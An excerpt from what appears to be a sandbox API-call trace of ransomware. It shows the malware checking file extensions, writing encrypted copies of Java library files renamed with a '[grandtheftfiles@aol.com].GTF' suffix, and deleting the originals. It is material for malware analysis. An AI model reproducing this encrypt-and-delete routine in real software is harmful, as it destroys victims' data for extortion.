	[0162.570] lstrlenW (lpString=".7z") returned 3
	[0162.570] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0162.570] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47
	[0162.570] lstrlenW (lpString=".dbf") returned 4
	[0162.571] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0162.571] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47
	[0162.571] lstrlenW (lpString=".1cd") returned 4
	[0162.571] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0162.571] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47
	[0162.571] lstrlenW (lpString=".jpg") returned 4
	[0162.571] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0162.571] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47
	[0162.571] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47
	[0162.571] lstrlenW (lpString=".doc") returned 4
	[0162.571] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0162.571] lstrlenW (lpString=".docx") returned 5
	[0162.571] lstrcmpiW (lpString1=".docx", lpString2="e.jar") returned -1
	[0162.571] lstrlenW (lpString=".pdf") returned 4
	[0162.571] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0162.571] lstrlenW (lpString=".xls") returned 4
	[0162.571] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0162.571] lstrlenW (lpString=".xlsx") returned 5
	[0162.571] lstrcmpiW (lpString1=".xlsx", lpString2="e.jar") returned -1
	[0162.571] lstrlenW (lpString=".ppt") returned 4
	[0162.571] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0162.571] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47
	[0162.571] lstrlenW (lpString=".zip") returned 4
	[0162.571] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0162.571] lstrlenW (lpString=".rar") returned 4
	[0162.571] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0162.571] lstrlenW (lpString=".bz2") returned 4
	[0162.571] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0162.571] lstrlenW (lpString=".7z") returned 3
	[0162.571] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0162.571] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47
	[0162.571] lstrlenW (lpString=".dbf") returned 4
	[0162.571] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0162.571] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47
	[0162.571] lstrlenW (lpString=".1cd") returned 4
	[0162.571] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0162.572] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar") returned 47
	[0162.572] lstrlenW (lpString=".jpg") returned 4
	[0162.572] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0162.572] lstrcmpiW (lpString1=".properties", lpString2=".GTF") returned 1
	[0162.572] lstrlenW (lpString="net.properties") returned 14
	[0162.572] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\net.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0162.572] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=4464) returned 1
	[0162.572] CloseHandle (hObject=0x45c) returned 1
	[0162.572] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\net.properties")) returned 0x20
	[0162.572] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\net.properties.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0162.573] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\net.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0162.573] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.573] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.573] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\net.properties.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0162.573] GetLastError () returned 0x0
	[0162.573] ReadFile (in: hFile=0x45c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x1170, lpOverlapped=0x0) returned 1
	[0162.575] WriteFile (in: hFile=0x540, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x1180, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x1180, lpOverlapped=0x0) returned 1
	[0162.576] ReadFile (in: hFile=0x45c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0162.576] WriteFile (in: hFile=0x540, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0xf0, lpOverlapped=0x0) returned 1
	[0162.576] SetEndOfFile (hFile=0x540) returned 1
	[0162.576] CloseHandle (hObject=0x540) returned 1
	[0162.576] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.576] SetEndOfFile (hFile=0x45c) returned 1
	[0162.579] CloseHandle (hObject=0x45c) returned 1
	[0162.579] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0162.580] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\net.properties")) returned 1
	[0162.580] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53
	[0162.580] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53
	[0162.580] lstrlenW (lpString=".doc") returned 4
	[0162.580] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0162.580] lstrlenW (lpString=".docx") returned 5
	[0162.580] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0162.580] lstrlenW (lpString=".pdf") returned 4
	[0162.580] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0162.580] lstrlenW (lpString=".xls") returned 4
	[0162.580] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0162.580] lstrlenW (lpString=".xlsx") returned 5
	[0162.580] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0162.580] lstrlenW (lpString=".ppt") returned 4
	[0162.581] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0162.581] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53
	[0162.581] lstrlenW (lpString=".zip") returned 4
	[0162.581] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0162.581] lstrlenW (lpString=".rar") returned 4
	[0162.581] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0162.581] lstrlenW (lpString=".bz2") returned 4
	[0162.581] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0162.581] lstrlenW (lpString=".7z") returned 3
	[0162.581] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0162.581] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53
	[0162.581] lstrlenW (lpString=".dbf") returned 4
	[0162.581] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0162.581] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53
	[0162.581] lstrlenW (lpString=".1cd") returned 4
	[0162.581] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0162.581] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53
	[0162.581] lstrlenW (lpString=".jpg") returned 4
	[0162.581] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0162.581] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53
	[0162.581] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53
	[0162.581] lstrlenW (lpString=".doc") returned 4
	[0162.581] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0162.581] lstrlenW (lpString=".docx") returned 5
	[0162.581] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0162.581] lstrlenW (lpString=".pdf") returned 4
	[0162.581] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0162.581] lstrlenW (lpString=".xls") returned 4
	[0162.581] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0162.581] lstrlenW (lpString=".xlsx") returned 5
	[0162.581] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0162.581] lstrlenW (lpString=".ppt") returned 4
	[0162.581] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0162.581] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53
	[0162.581] lstrlenW (lpString=".zip") returned 4
	[0162.581] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0162.581] lstrlenW (lpString=".rar") returned 4
	[0162.581] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0162.582] lstrlenW (lpString=".bz2") returned 4
	[0162.582] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0162.582] lstrlenW (lpString=".7z") returned 3
	[0162.582] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0162.582] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53
	[0162.582] lstrlenW (lpString=".dbf") returned 4
	[0162.582] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0162.582] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53
	[0162.582] lstrlenW (lpString=".1cd") returned 4
	[0162.582] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0162.582] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53
	[0162.582] lstrlenW (lpString=".jpg") returned 4
	[0162.582] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0162.582] lstrcmpiW (lpString1=".jar", lpString2=".GTF") returned 1
	[0162.582] lstrlenW (lpString="plugin.jar") returned 10
	[0162.582] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0162.583] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=1923211) returned 1
	[0162.583] CloseHandle (hObject=0x45c) returned 1
	[0162.583] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar")) returned 0x20
	[0162.583] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0162.583] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0
	[0162.583] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49
	[0162.583] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49
	[0162.583] lstrlenW (lpString=".doc") returned 4
	[0162.583] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0162.583] lstrlenW (lpString=".docx") returned 5
	[0162.583] lstrcmpiW (lpString1=".docx", lpString2="n.jar") returned -1
	[0162.583] lstrlenW (lpString=".pdf") returned 4
	[0162.583] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0162.583] lstrlenW (lpString=".xls") returned 4
	[0162.583] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0162.583] lstrlenW (lpString=".xlsx") returned 5
	[0162.583] lstrcmpiW (lpString1=".xlsx", lpString2="n.jar") returned -1
	[0162.583] lstrlenW (lpString=".ppt") returned 4
	[0162.583] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0162.583] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49
	[0162.583] lstrlenW (lpString=".zip") returned 4
	[0162.583] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0162.584] lstrlenW (lpString=".rar") returned 4
	[0162.584] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0162.584] lstrlenW (lpString=".bz2") returned 4
	[0162.584] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0162.584] lstrlenW (lpString=".7z") returned 3
	[0162.584] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0162.584] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49
	[0162.584] lstrlenW (lpString=".dbf") returned 4
	[0162.584] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0162.584] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49
	[0162.584] lstrlenW (lpString=".1cd") returned 4
	[0162.584] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0162.584] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49
	[0162.584] lstrlenW (lpString=".jpg") returned 4
	[0162.584] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0162.584] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49
	[0162.584] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49
	[0162.584] lstrlenW (lpString=".doc") returned 4
	[0162.584] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0162.584] lstrlenW (lpString=".docx") returned 5
	[0162.584] lstrcmpiW (lpString1=".docx", lpString2="n.jar") returned -1
	[0162.584] lstrlenW (lpString=".pdf") returned 4
	[0162.584] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0162.584] lstrlenW (lpString=".xls") returned 4
	[0162.584] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0162.584] lstrlenW (lpString=".xlsx") returned 5
	[0162.584] lstrcmpiW (lpString1=".xlsx", lpString2="n.jar") returned -1
	[0162.584] lstrlenW (lpString=".ppt") returned 4
	[0162.584] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0162.584] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49
	[0162.584] lstrlenW (lpString=".zip") returned 4
	[0162.584] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0162.584] lstrlenW (lpString=".rar") returned 4
	[0162.584] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0162.584] lstrlenW (lpString=".bz2") returned 4
	[0162.584] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0162.585] lstrlenW (lpString=".7z") returned 3
	[0162.585] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0162.585] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49
	[0162.585] lstrlenW (lpString=".dbf") returned 4
	[0162.585] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0162.585] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49
	[0162.585] lstrlenW (lpString=".1cd") returned 4
	[0162.585] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0162.585] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49
	[0162.585] lstrlenW (lpString=".jpg") returned 4
	[0162.585] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0162.585] lstrcmpiW (lpString1=".ja", lpString2=".GTF") returned 1
	[0162.585] lstrlenW (lpString="psfont.properties.ja") returned 20
	[0162.585] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0162.586] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=2796) returned 1
	[0162.586] CloseHandle (hObject=0x45c) returned 1
	[0162.586] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja")) returned 0x20
	[0162.586] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0162.586] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0162.587] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.587] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.587] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0162.587] GetLastError () returned 0x0
	[0162.587] ReadFile (in: hFile=0x45c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0xaec, lpOverlapped=0x0) returned 1
	[0162.589] WriteFile (in: hFile=0x540, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xaf0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0xaf0, lpOverlapped=0x0) returned 1
	[0162.590] ReadFile (in: hFile=0x45c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0162.590] WriteFile (in: hFile=0x540, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0xfc, lpOverlapped=0x0) returned 1
	[0162.590] SetEndOfFile (hFile=0x540) returned 1
	[0162.590] CloseHandle (hObject=0x540) returned 1
	[0162.590] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.590] SetEndOfFile (hFile=0x45c) returned 1
	[0162.593] CloseHandle (hObject=0x45c) returned 1
	[0162.593] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0162.594] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja")) returned 1
	[0162.594] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59
	[0162.594] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59
	[0162.594] lstrlenW (lpString=".doc") returned 4
	[0162.594] lstrcmpiW (lpString1=".doc", lpString2="s.ja") returned -1
	[0162.594] lstrlenW (lpString=".docx") returned 5
	[0162.594] lstrcmpiW (lpString1=".docx", lpString2="es.ja") returned -1
	[0162.594] lstrlenW (lpString=".pdf") returned 4
	[0162.594] lstrcmpiW (lpString1=".pdf", lpString2="s.ja") returned -1
	[0162.594] lstrlenW (lpString=".xls") returned 4
	[0162.594] lstrcmpiW (lpString1=".xls", lpString2="s.ja") returned -1
	[0162.594] lstrlenW (lpString=".xlsx") returned 5
	[0162.594] lstrcmpiW (lpString1=".xlsx", lpString2="es.ja") returned -1
	[0162.595] lstrlenW (lpString=".ppt") returned 4
	[0162.595] lstrcmpiW (lpString1=".ppt", lpString2="s.ja") returned -1
	[0162.595] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59
	[0162.595] lstrlenW (lpString=".zip") returned 4
	[0162.595] lstrcmpiW (lpString1=".zip", lpString2="s.ja") returned -1
	[0162.595] lstrlenW (lpString=".rar") returned 4
	[0162.595] lstrcmpiW (lpString1=".rar", lpString2="s.ja") returned -1
	[0162.595] lstrlenW (lpString=".bz2") returned 4
	[0162.595] lstrcmpiW (lpString1=".bz2", lpString2="s.ja") returned -1
	[0162.595] lstrlenW (lpString=".7z") returned 3
	[0162.595] lstrcmpiW (lpString1=".7z", lpString2=".ja") returned -1
	[0162.595] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59
	[0162.595] lstrlenW (lpString=".dbf") returned 4
	[0162.595] lstrcmpiW (lpString1=".dbf", lpString2="s.ja") returned -1
	[0162.595] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59
	[0162.595] lstrlenW (lpString=".1cd") returned 4
	[0162.595] lstrcmpiW (lpString1=".1cd", lpString2="s.ja") returned -1
	[0162.595] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59
	[0162.595] lstrlenW (lpString=".jpg") returned 4
	[0162.595] lstrcmpiW (lpString1=".jpg", lpString2="s.ja") returned -1
	[0162.595] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59
	[0162.595] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59
	[0162.595] lstrlenW (lpString=".doc") returned 4
	[0162.595] lstrcmpiW (lpString1=".doc", lpString2="s.ja") returned -1
	[0162.595] lstrlenW (lpString=".docx") returned 5
	[0162.595] lstrcmpiW (lpString1=".docx", lpString2="es.ja") returned -1
	[0162.595] lstrlenW (lpString=".pdf") returned 4
	[0162.595] lstrcmpiW (lpString1=".pdf", lpString2="s.ja") returned -1
	[0162.595] lstrlenW (lpString=".xls") returned 4
	[0162.595] lstrcmpiW (lpString1=".xls", lpString2="s.ja") returned -1
	[0162.595] lstrlenW (lpString=".xlsx") returned 5
	[0162.595] lstrcmpiW (lpString1=".xlsx", lpString2="es.ja") returned -1
	[0162.595] lstrlenW (lpString=".ppt") returned 4
	[0162.595] lstrcmpiW (lpString1=".ppt", lpString2="s.ja") returned -1
	[0162.595] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59
	[0162.595] lstrlenW (lpString=".zip") returned 4
	[0162.596] lstrcmpiW (lpString1=".zip", lpString2="s.ja") returned -1
	[0162.596] lstrlenW (lpString=".rar") returned 4
	[0162.596] lstrcmpiW (lpString1=".rar", lpString2="s.ja") returned -1
	[0162.596] lstrlenW (lpString=".bz2") returned 4
	[0162.596] lstrcmpiW (lpString1=".bz2", lpString2="s.ja") returned -1
	[0162.596] lstrlenW (lpString=".7z") returned 3
	[0162.596] lstrcmpiW (lpString1=".7z", lpString2=".ja") returned -1
	[0162.596] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59
	[0162.596] lstrlenW (lpString=".dbf") returned 4
	[0162.596] lstrcmpiW (lpString1=".dbf", lpString2="s.ja") returned -1
	[0162.596] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59
	[0162.596] lstrlenW (lpString=".1cd") returned 4
	[0162.596] lstrcmpiW (lpString1=".1cd", lpString2="s.ja") returned -1
	[0162.596] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59
	[0162.596] lstrlenW (lpString=".jpg") returned 4
	[0162.596] lstrcmpiW (lpString1=".jpg", lpString2="s.ja") returned -1
	[0162.596] lstrcmpiW (lpString1=".properties", lpString2=".GTF") returned 1
	[0162.596] lstrlenW (lpString="psfontj2d.properties") returned 20
	[0162.596] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfontj2d.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0162.597] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=10393) returned 1
	[0162.597] CloseHandle (hObject=0x45c) returned 1
	[0162.597] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfontj2d.properties")) returned 0x20
